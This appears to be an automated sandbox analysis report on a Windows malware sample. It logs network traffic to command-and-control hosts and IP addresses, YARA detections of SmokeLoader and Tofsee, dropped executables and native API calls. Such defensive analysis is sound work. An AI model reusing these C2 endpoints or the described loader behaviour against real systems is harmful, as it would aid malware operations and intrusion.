Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Sun, 09 Jan 2022 17:48:54 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Sun, 09 Jan 2022 17:48:55 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 32 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 85 4f 13 25 1e e9 e9 df b7 82 16 95 2d ec 0d 0a 30 0d 0a 0d 0a Data Ascii: 22I:82OO%-0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Sun, 09 Jan 2022 17:48:57 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 47 e5 a0 8f 70 bc 57 dd 43 d1 fd 20 82 22 ed c3 90 55 2a e1 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9GpWC "U*c0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Sun, 09 Jan 2022 17:49:02 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Sun, 09 Jan 2022 17:49:03 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: unknown TCP traffic detected without corresponding DNS query: 185.186.142.166
Source: unknown TCP traffic detected without corresponding DNS query: 185.186.142.166
Source: unknown TCP traffic detected without corresponding DNS query: 185.186.142.166
Source: unknown TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://fxrkgvik.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 270Host: host-data-coin-11.com
Source: unknown HTTPS traffic detected: 185.233.81.115:443 -> 192.168.2.3:49771 version: TLS 1.2
Source: unknown HTTPS traffic detected: 162.159.130.233:443 -> 192.168.2.3:49816 version: TLS 1.2
Source: unknown HTTPS traffic detected: 67.199.248.10:443 -> 192.168.2.3:49875 version: TLS 1.2
Source: unknown HTTPS traffic detected: 67.199.248.14:443 -> 192.168.2.3:49876 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

barindex
Yara detected SmokeLoader
Source: Yara match File source: 3.2.cz2ZyeL2Zd.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.cz2ZyeL2Zd.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.1.cz2ZyeL2Zd.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.icgujuh.2c315a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.cz2ZyeL2Zd.exe.2dc15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.icgujuh.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.cz2ZyeL2Zd.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.1.icgujuh.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.cz2ZyeL2Zd.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000002.328560589.0000000000580000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000002.398652642.00000000023A1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000002.377828277.0000000000680000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.328581526.00000000005A1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000002.377862377.00000000006A1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000002.398263748.0000000000600000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000000.316265354.0000000002E01000.00000020.00020000.sdmp, type: MEMORY
Creates a DirectInput object (often for capturing keystrokes)
Source: EC9F.exe, 00000017.00000002.413041502.0000000002E2A000.00000004.00000020.sdmp Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Spam, unwanted Advertisements and Ransom Demands:

barindex
Yara detected Tofsee
Source: Yara match File source: 26.2.2B8.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 26.2.2B8.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 26.2.2B8.exe.47c0e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 26.3.2B8.exe.47e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000001A.00000003.426261967.00000000047E0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.462876681.00000000047C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.461892339.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 2B8.exe PID: 5780, type: MEMORYSTR

System Summary:

barindex
PE file has a writeable .text section
Source: B729.exe.13.dr Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
Detected potential crypto function
Source: C:\Users\user\Desktop\cz2ZyeL2Zd.exe Code function: 3_2_00402A5F 3_2_00402A5F
Source: C:\Users\user\Desktop\cz2ZyeL2Zd.exe Code function: 3_2_00402AB3 3_2_00402AB3
Source: C:\Users\user\Desktop\cz2ZyeL2Zd.exe Code function: 3_1_00402A5F 3_1_00402A5F
Source: C:\Users\user\Desktop\cz2ZyeL2Zd.exe Code function: 3_1_00402AB3 3_1_00402AB3
Source: C:\Users\user\AppData\Roaming\icgujuh Code function: 18_2_00402A5F 18_2_00402A5F
Source: C:\Users\user\AppData\Roaming\icgujuh Code function: 18_2_00402AB3 18_2_00402AB3
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Code function: 22_2_004027CA 22_2_004027CA
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Code function: 22_2_00401FF1 22_2_00401FF1
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Code function: 22_2_0040158E 22_2_0040158E
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Code function: 22_2_004015A6 22_2_004015A6
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Code function: 22_2_004015BC 22_2_004015BC
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Code function: 22_2_00436340 22_2_00436340
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Code function: 22_2_00435560 22_2_00435560
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Code function: 22_2_005815DE 22_2_005815DE
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Code function: 22_2_005815F6 22_2_005815F6
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Code function: 22_2_0058160C 22_2_0058160C
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_00410800 23_2_00410800
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_00411280 23_2_00411280
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_004103F0 23_2_004103F0
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_004109F0 23_2_004109F0
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_02D314D0 23_2_02D314D0
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_02D30A50 23_2_02D30A50
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_02D30640 23_2_02D30640
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_02D30C40 23_2_02D30C40
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Code function: 31_2_03189770 31_2_03189770
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Code function: 31_2_03180470 31_2_03180470
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Code function: 31_2_03180462 31_2_03180462
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Code function: 31_2_05731810 31_2_05731810
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Code function: 31_2_057353F8 31_2_057353F8
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Code function: 31_2_05730448 31_2_05730448
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Code function: 31_2_05732E48 31_2_05732E48
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Code function: 31_2_05741528 31_2_05741528
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Code function: 31_2_05744758 31_2_05744758
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Code function: 31_2_0574A733 31_2_0574A733
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Code function: 31_2_057467B8 31_2_057467B8
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Code function: 31_2_057490C0 31_2_057490C0
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Code function: 31_2_05742C88 31_2_05742C88
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Code function: 31_2_057408B0 31_2_057408B0
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Code function: 31_2_05745B58 31_2_05745B58
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Code function: 31_2_057490ED 31_2_057490ED
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Code function: 31_2_057490B2 31_2_057490B2
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Code function: 31_2_05A1B5F8 31_2_05A1B5F8
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Code function: 31_2_05A1BF30 31_2_05A1BF30
PE file contains strange resources
Source: cz2ZyeL2Zd.exe Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: cz2ZyeL2Zd.exe Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: cz2ZyeL2Zd.exe Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 8FB8.exe.13.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 8FB8.exe.13.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 97B8.exe.13.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 97B8.exe.13.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 97B8.exe.13.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: AEFA.exe.13.dr Static PE information: Resource name: RT_CURSOR type: GLS_BINARY_LSB_FIRST
Source: AEFA.exe.13.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: B729.exe.13.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: BFF4.exe.13.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: D830.exe.13.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: D830.exe.13.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: D830.exe.13.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 5D68.exe.13.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 5D68.exe.13.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: EC9F.exe.13.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: EC9F.exe.13.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: EC9F.exe.13.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 2B8.exe.13.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 2B8.exe.13.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 2B8.exe.13.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: icgujuh.13.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: icgujuh.13.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: icgujuh.13.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: ecgujuh.13.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: ecgujuh.13.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: rljdetbq.exe.26.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: rljdetbq.exe.26.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: rljdetbq.exe.26.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Tries to load missing DLLs
Source: C:\Windows\System32\svchost.exe Section loaded: xboxlivetitleid.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: cdpsgshims.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Section loaded: mscorjit.dll Jump to behavior
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Temp\1F0B.exe 7AFBFF30F47AB9D8E3FC2B67A72453161B93424F680C0CAF270A57E05DD2478B
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Temp\5D68.exe 2BFA0884B172C9EAFF7358741C164F571F0565389AB9CF99A8E0B90AE8AD914D
Uses 32bit PE files
Source: cz2ZyeL2Zd.exe Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED
Creates files inside the system directory
Source: C:\Windows\SysWOW64\cmd.exe File created: C:\Windows\SysWOW64\rhrovez\ Jump to behavior
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Code function: String function: 0042CE40 appears 36 times
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Code function: String function: 00422600 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Code function: String function: 00422440 appears 57 times
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: String function: 004048D0 appears 460 times
Contains functionality to call native functions
Source: C:\Users\user\Desktop\cz2ZyeL2Zd.exe Code function: 3_2_00401962 Sleep,NtTerminateProcess, 3_2_00401962
Source: C:\Users\user\Desktop\cz2ZyeL2Zd.exe Code function: 3_2_0040196D Sleep,NtTerminateProcess, 3_2_0040196D
Source: C:\Users\user\Desktop\cz2ZyeL2Zd.exe Code function: 3_2_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation, 3_2_00402000
Source: C:\Users\user\Desktop\cz2ZyeL2Zd.exe Code function: 3_2_0040250A NtEnumerateKey,NtEnumerateKey,NtClose, 3_2_0040250A
Source: C:\Users\user\Desktop\cz2ZyeL2Zd.exe Code function: 3_2_00401A0B NtTerminateProcess, 3_2_00401A0B
Source: C:\Users\user\Desktop\cz2ZyeL2Zd.exe Code function: 3_2_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation, 3_2_0040201A
Source: C:\Users\user\Desktop\cz2ZyeL2Zd.exe Code function: 3_2_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation, 3_2_0040201E
Source: C:\Users\user\Desktop\cz2ZyeL2Zd.exe Code function: 3_2_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation, 3_2_0040202D
Source: C:\Users\user\Desktop\cz2ZyeL2Zd.exe Code function: 3_2_00402084 LocalAlloc,NtQuerySystemInformation, 3_2_00402084
Source: C:\Users\user\Desktop\cz2ZyeL2Zd.exe Code function: 3_2_00402491 NtOpenKey, 3_2_00402491
Source: C:\Users\user\Desktop\cz2ZyeL2Zd.exe Code function: 3_1_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation, 3_1_00402000
Source: C:\Users\user\Desktop\cz2ZyeL2Zd.exe Code function: 3_1_0040250A NtEnumerateKey,NtEnumerateKey,NtClose, 3_1_0040250A
Source: C:\Users\user\Desktop\cz2ZyeL2Zd.exe Code function: 3_1_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation, 3_1_0040201A
Source: C:\Users\user\Desktop\cz2ZyeL2Zd.exe Code function: 3_1_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation, 3_1_0040201E
Source: C:\Users\user\Desktop\cz2ZyeL2Zd.exe Code function: 3_1_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation, 3_1_0040202D
Source: C:\Users\user\Desktop\cz2ZyeL2Zd.exe Code function: 3_1_00402084 LocalAlloc,NtQuerySystemInformation, 3_1_00402084
Source: C:\Users\user\Desktop\cz2ZyeL2Zd.exe Code function: 3_1_00402491 NtOpenKey, 3_1_00402491
Source: C:\Users\user\AppData\Roaming\icgujuh Code function: 18_2_00401962 Sleep,NtTerminateProcess, 18_2_00401962
Source: C:\Users\user\AppData\Roaming\icgujuh Code function: 18_2_0040196D Sleep,NtTerminateProcess, 18_2_0040196D
Source: C:\Users\user\AppData\Roaming\icgujuh Code function: 18_2_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation, 18_2_00402000
Source: C:\Users\user\AppData\Roaming\icgujuh Code function: 18_2_0040250A NtEnumerateKey,NtEnumerateKey,NtClose, 18_2_0040250A
Source: C:\Users\user\AppData\Roaming\icgujuh Code function: 18_2_00401A0B NtTerminateProcess, 18_2_00401A0B
Source: C:\Users\user\AppData\Roaming\icgujuh Code function: 18_2_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation, 18_2_0040201A
Source: C:\Users\user\AppData\Roaming\icgujuh Code function: 18_2_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation, 18_2_0040201E
Source: C:\Users\user\AppData\Roaming\icgujuh Code function: 18_2_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation, 18_2_0040202D
Source: C:\Users\user\AppData\Roaming\icgujuh Code function: 18_2_00402084 LocalAlloc,NtQuerySystemInformation, 18_2_00402084
Source: C:\Users\user\AppData\Roaming\icgujuh Code function: 18_2_00402491 NtOpenKey, 18_2_00402491
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Code function: 22_2_0040193B Sleep,NtTerminateProcess, 22_2_0040193B
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Code function: 22_2_00401947 Sleep,NtTerminateProcess, 22_2_00401947
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Code function: 22_2_0040174C NtMapViewOfSection,NtMapViewOfSection,Sleep,NtTerminateProcess, 22_2_0040174C
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Code function: 22_2_00401951 Sleep,NtTerminateProcess, 22_2_00401951
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Code function: 22_2_00401FF1 NtQuerySystemInformation,NtQuerySystemInformation, 22_2_00401FF1
